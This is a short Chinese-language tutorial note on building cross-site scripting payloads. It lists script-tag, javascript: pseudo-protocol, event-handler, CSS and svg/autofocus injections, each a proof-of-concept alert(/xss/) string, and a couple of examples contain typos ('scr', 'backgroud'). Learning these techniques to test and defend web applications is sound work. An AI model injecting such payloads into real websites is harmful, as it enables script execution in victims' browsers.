XSS的構造
1.利用[<>]構造html/js
如[<script>alert(/xss/)</script>]
2.偽協議
使用javascript:偽協議來構造xss
如[javascript:alert(/xss/);]
可在超鏈接中填寫
<a href="javascript:alert(/xss/)">click me.</a>
也可在<img>標簽中.
3.產生自己的事件
在javascript中有許多的"事件驅動",在網頁中會發生許多的事件(比如鼠標移動,鍵盤輸入等),JS可以通過對這些事件進行響應,從而我們可以通過事件的觸發JS函數,觸發XSS.
事件種類
windows事件 對windows對象觸發的事件
Form事件 HTML表單內的動作觸發事件
keyboard事件 鍵盤按鍵觸發事件
Mouse事件 由鼠標或類似用戶動作觸發的事件
Media事件 由多媒體觸發的事件
如<img scr='./image.jpg' onmouseover='alert(/xss/)'>
引入一個圖片,當鼠標懸停在圖片上時,會觸發xss代碼
如<input type='text' onkeydown='alert(/xss/)'>
單行文本框的鍵盤點擊事件,當點擊一個鍵盤任意一個按鍵時觸發xss代碼
其他常用事件
onkeyup-->當鍵盤松開時觸發xss代碼
onclick-->點擊時觸發xss代碼
onerror-->文件載入失敗時觸發xss代碼
4.利用css跨站
利用css跨站,幾乎不用,在ie6瀏覽器處可以觸發
如
<div style="backgroud-image:url(javascript:alert(/xss/))">-->實際上也是使用的偽協議構造
5.其他標簽以及用法
<svg onload="alert(/xss/)">
<input onfocus=alert(/xss/) autofocus>